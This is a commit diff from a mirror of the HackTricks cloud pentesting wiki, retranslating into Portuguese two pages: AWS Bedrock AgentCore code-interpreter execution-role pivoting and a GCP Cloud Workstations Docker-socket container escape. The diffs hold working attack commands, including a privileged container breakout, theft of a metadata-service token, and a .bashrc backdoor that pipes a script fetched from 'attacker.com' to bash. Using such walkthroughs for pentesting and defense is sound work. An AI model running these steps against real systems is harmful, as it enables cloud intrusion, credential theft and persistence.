mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
Translator
+21
-21
@@ -6,21 +6,21 @@
|
||||
|
||||
### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
|
||||
|
||||
AgentCore Code Interpreter é um ambiente de execução gerenciado. **Custom Code Interpreters** podem ser configurados com um **`executionRoleArn`** que “fornece permissões para o code interpreter acessar serviços AWS”.
|
||||
AgentCore Code Interpreter é um ambiente de execução gerenciado. **Custom Code Interpreters** podem ser configurados com um **`executionRoleArn`** que “provides permissions for the code interpreter to access AWS services”.
|
||||
|
||||
Se um **principal IAM com menos privilégios** puder **start + invoke** uma sessão do Code Interpreter que esteja configurada com uma **função de execução mais privilegiada**, o chamador pode efetivamente **pivot** para as permissões da função de execução (lateral movement / privilege escalation dependendo do escopo da função).
|
||||
Se um **principal IAM com privilégios mais baixos** puder **start + invoke** uma sessão do Code Interpreter configurada com uma **execution role** mais privilegiada, o chamador pode efetivamente **pivot into the execution role’s permissions** (lateral movement / privilege escalation dependendo do escopo da role).
|
||||
|
||||
> [!NOTE]
|
||||
> Isto normalmente é um problema de **misconfiguration / excessive permissions** (conceder permissões amplas à função de execução do interpreter e/ou conceder acesso amplo de invoke).
|
||||
> A AWS alerta explicitamente para evitar privilege escalation garantindo que as funções de execução tenham **igual ou menos** privilégios do que as identidades permitidas a invocar.
|
||||
> Isto tipicamente é um problema de **misconfiguration / excessive permissions** (concessão de permissões amplas à interpreter execution role e/ou concessão de amplo invoke access).
|
||||
> A AWS alerta explicitamente para evitar privilege escalation garantindo que execution roles tenham **equal or fewer** privilégios do que as identidades autorizadas a invoke.
|
||||
|
||||
#### Preconditions (common misconfiguration)
|
||||
#### Pré-condições (misconfiguration comum)
|
||||
|
||||
- Um **custom code interpreter** existe com uma **função de execução** excessivamente privilegiada (ex: acesso a S3/Secrets/SSM sensíveis ou capacidades semelhantes a administrador IAM).
|
||||
- Um usuário (desenvolvedor/auditor/identidade CI) tem permissões para:
|
||||
- Existe um **custom code interpreter** com uma **execution role** excessivamente privilegiada (ex: acesso a S3/Secrets/SSM sensíveis ou capacidades tipo IAM-admin).
|
||||
- Um usuário (developer/auditor/CI identity) possui permissões para:
|
||||
- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
|
||||
- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
|
||||
- (Opcional) O usuário também pode criar interpreters: `bedrock-agentcore:CreateCodeInterpreter` (permite criar um novo interpreter configurado com uma função de execução, dependendo dos guardrails da organização).
|
||||
- (Opcional) O usuário também pode criar interpreters: `bedrock-agentcore:CreateCodeInterpreter` (permite criar um novo interpreter configurado com uma execution role, dependendo dos guardrails da organização).
|
||||
|
||||
#### Recon (identify custom interpreters and execution role usage)
|
||||
|
||||
@@ -29,7 +29,7 @@ Liste interpreters (control-plane) e inspecione sua configuração:
|
||||
aws bedrock-agentcore-control list-code-interpreters
|
||||
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
|
||||
````
|
||||
> O comando create-code-interpreter suporta `--execution-role-arn` que define quais permissões AWS o interpreter terá.
|
||||
> O comando create-code-interpreter suporta `--execution-role-arn` que define quais permissões da AWS o interpretador terá.
|
||||
|
||||
#### Passo 1 - Iniciar uma sessão (isso retorna um `sessionId`, não um shell interativo)
|
||||
```bash
|
||||
@@ -43,11 +43,11 @@ aws bedrock-agentcore start-code-interpreter-session \
|
||||
|
||||
echo "SessionId: $SESSION_ID"
|
||||
```
|
||||
#### Passo 2 - Invocar execução de código (Boto3 ou signed HTTPS)
|
||||
#### Etapa 2 - Invocar execução de código (Boto3 ou HTTPS assinada)
|
||||
|
||||
Não há **shell Python interativo** a partir de `start-code-interpreter-session`. A execução acontece via **InvokeCodeInterpreter**.
|
||||
Não existe **um shell python interativo** a partir de `start-code-interpreter-session`. A execução acontece via **InvokeCodeInterpreter**.
|
||||
|
||||
**Opção A - exemplo Boto3 (executar Python + verificar identidade):**
|
||||
**Opção A - Exemplo Boto3 (executar Python + verificar identidade):**
|
||||
```python
|
||||
import boto3
|
||||
|
||||
@@ -68,9 +68,9 @@ arguments={
|
||||
for event in resp.get("stream", []):
|
||||
print(event)
|
||||
```
|
||||
Se o interpretador estiver configurado com um execution role, a saída de `sts:GetCallerIdentity()` deve refletir a identidade dessa role (não o low-priv caller), demonstrando o pivot.
|
||||
Se o interpreter estiver configurado com um execution role, a saída de `sts:GetCallerIdentity()` deve refletir a identidade desse role (não do low-priv caller), demonstrando o pivot.
|
||||
|
||||
**Opção B - chamada HTTPS assinada (awscurl):**
|
||||
**Opção B - Chamada HTTPS assinada (awscurl):**
|
||||
```bash
|
||||
awscurl -X POST \
|
||||
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
|
||||
@@ -89,16 +89,16 @@ awscurl -X POST \
|
||||
```
|
||||
#### Impacto
|
||||
|
||||
* **Lateral movement** para qualquer acesso AWS que a função de execução do interpreter possua.
|
||||
* **Privilege escalation** se a função de execução do interpreter for mais privilegiada que o chamador.
|
||||
* Detecção mais difícil se os CloudTrail data events para invocações do interpreter não estiverem habilitados (as invocações podem não ser registradas por padrão, dependendo da configuração).
|
||||
* **Lateral movement** para qualquer acesso AWS que a função de execução do interpreter possuir.
|
||||
* **Privilege escalation** se a função de execução do interpreter tiver mais privilégios que o chamador.
|
||||
* Detecção mais difícil se os **CloudTrail data events** para invocações do interpreter não estiverem habilitados (as invocações podem não ser registradas por padrão, dependendo da configuração).
|
||||
|
||||
#### Mitigações / Endurecimento
|
||||
#### Mitigações / Fortalecimento
|
||||
|
||||
* **Privilégio mínimo** na `executionRoleArn` do interpreter (trate-a como funções de execução do Lambda / funções de CI).
|
||||
* **Least privilege** no interpreter `executionRoleArn` (trate-o como Lambda execution roles / CI roles).
|
||||
* **Restrinja quem pode invocar** (`bedrock-agentcore:InvokeCodeInterpreter`) e quem pode iniciar sessões.
|
||||
* Use **SCPs** para negar InvokeCodeInterpreter, exceto para funções de runtime do agent aprovadas (pode ser necessária aplicação em nível de organização).
|
||||
* Habilite os **CloudTrail data events** apropriados para AgentCore quando aplicável; alerte sobre invocações inesperadas e criação de sessões.
|
||||
* Use **SCPs** para negar InvokeCodeInterpreter exceto para agent runtime roles aprovados (a aplicação a nível da organização pode ser necessária).
|
||||
* Habilite os apropriados **CloudTrail data events** para AgentCore quando aplicável; alerte sobre invocações inesperadas e criação de sessões.
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
+15
-15
@@ -3,20 +3,20 @@
|
||||
|
||||
### Container Breakout via Docker Socket (Container -> VM -> Project)
|
||||
|
||||
O principal caminho de escalada de privilégios em Cloud Workstations decorre da necessidade de suportar workflows **Docker-in-Docker (DinD)** para desenvolvedores. Quando a configuração da workstation monta o Docker socket ou permite privileged containers (uma configuração comum), um atacante dentro do workstation container pode escapar para a Compute Engine VM subjacente e roubar seu service account token.
|
||||
A principal via de escalonamento de privilégios em Cloud Workstations decorre da necessidade de suportar fluxos de trabalho **Docker-in-Docker (DinD)** para desenvolvedores. Quando a configuração da workstation monta o Docker socket ou permite privileged containers (uma configuração comum), um atacante dentro do container da workstation pode escapar para a GCE VM subjacente e roubar seu service account token.
|
||||
|
||||
**Pré-requisitos:**
|
||||
- Acesso a um terminal do Cloud Workstation (via SSH, sessão comprometida ou credenciais roubadas)
|
||||
- Acesso a um terminal de Cloud Workstation (via SSH, sessão comprometida ou credenciais roubadas)
|
||||
- A configuração da workstation deve montar `/var/run/docker.sock` ou habilitar privileged containers
|
||||
|
||||
**Contexto de arquitetura:** A workstation é um container (Layer 3) executando em um runtime Docker/Containerd (Layer 2) em uma GCE VM (Layer 1). O Docker socket dá acesso direto ao runtime de containers do host.
|
||||
**Contexto de arquitetura:** A workstation é um container (Layer 3) rodando sobre um runtime Docker/Containerd (Layer 2) em uma GCE VM (Layer 1). O Docker socket dá acesso direto ao runtime de containers do host.
|
||||
|
||||
> [!NOTE]
|
||||
> A ferramenta [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatiza o container escape completo e te coloca em um root shell na host VM.
|
||||
> A ferramenta [gcp-workstations-containerEscapeScript](https://github.com/AI-redteam/gcp-workstations-containerEscapeScript) automatiza a fuga completa do container e te coloca em um shell root na VM host.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Passo 1: Verificar Docker socket</summary>
|
||||
<summary>Passo 1: Verificar o Docker socket</summary>
|
||||
```bash
|
||||
# Verify the Docker socket is available
|
||||
ls -l /var/run/docker.sock
|
||||
@@ -26,9 +26,9 @@ ls -l /var/run/docker.sock
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Passo 2: Escapar para o sistema de arquivos da VM host</summary>
|
||||
<summary>Passo 2: Escapar para o sistema de arquivos da VM do host</summary>
|
||||
|
||||
Iniciamos um container privilegiado, montando o diretório raiz do host em `/mnt/host`. Também compartilhamos a rede do host e o PID namespace para maximizar a visibilidade.
|
||||
Iniciamos um container privilegiado, montando o diretório raiz do host em `/mnt/host`. Também compartilhamos a rede e o PID namespace do host para maximizar a visibilidade.
|
||||
```bash
|
||||
# Spawn a privileged container mounting the host's root filesystem
|
||||
docker run -it --rm --privileged --net=host --pid=host \
|
||||
@@ -38,13 +38,13 @@ alpine sh
|
||||
# Inside the new container, chroot into the host
|
||||
chroot /mnt/host /bin/bash
|
||||
```
|
||||
Você agora tem um **root shell na Compute Engine VM subjacente** (Layer 1).
|
||||
Você agora tem um **root shell on the underlying Compute Engine VM** (Layer 1).
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Passo 3: Roubar o token da conta de serviço da VM do IMDS</summary>
|
||||
<summary>Passo 3: Steal the VM service account token from IMDS</summary>
|
||||
```bash
|
||||
# From the host VM, query the Instance Metadata Service
|
||||
curl -s -H "Metadata-Flavor: Google" \
|
||||
@@ -61,16 +61,16 @@ http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/scop
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> **Verifique os escopos!**
|
||||
> Mesmo que o Service Account anexado seja **Editor**, a VM pode estar restrita por escopos de acesso.
|
||||
> **Verifique os Escopos!**
|
||||
> Mesmo que o Service Account anexado seja **Editor**, a VM pode estar restrita pelos escopos de acesso.
|
||||
> Se você vir `https://www.googleapis.com/auth/cloud-platform`, você tem acesso total.
|
||||
> Se você vir apenas `logging.write` e `monitoring.write`, você está limitado aos vetores **Network Pivot** e **Persistence** abaixo.
|
||||
> Se você vir apenas `logging.write` e `monitoring.write`, você está limitado aos vetores de **Network Pivot** e **Persistence** abaixo.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Passo 4: Alcançar Persistence (Backdoor the User)</summary>
|
||||
<summary>Passo 4: Achieve Persistence (Backdoor the User)</summary>
|
||||
|
||||
Cloud Workstations montam um disco persistente em `/home/user`. Como o container user (geralmente `user`, UID 1000) corresponde ao host user (UID 1000), você pode escrever no diretório home do host. Isso permite que você backdoor o ambiente mesmo se o workstation container for reconstruído.
|
||||
Cloud Workstations montam um disco persistente em `/home/user`. Como o usuário do container (geralmente `user`, UID 1000) corresponde ao usuário do host (UID 1000), você pode gravar no diretório home do host. Isso permite que você backdoor o ambiente mesmo se o container da workstation for reconstruído.
|
||||
```bash
|
||||
# Check if you can write to the host's persistent home
|
||||
ls -la /mnt/host/home/user/
|
||||
@@ -85,7 +85,7 @@ echo "curl http://attacker.com/shell | bash" >> /mnt/host/home/user/.bashrc
|
||||
|
||||
<summary>Passo 5: Network Pivot (Internal VPC Access)</summary>
|
||||
|
||||
Como você compartilha o namespace de rede do host (`--net=host`), você agora é um nó confiável na VPC. Você pode escanear serviços internos que permitem acesso com base em IP whitelisting.
|
||||
Como você compartilha o namespace de rede do host (`--net=host`), você agora é um nó confiável na VPC. Você pode realizar scans em serviços internos que permitem acesso com base em IP whitelisting.
|
||||
```bash
|
||||
# Install scanning tools on the host (if internet access allows)
|
||||
apk add nmap
|
||||
|
||||
Reference in New Issue
Block a user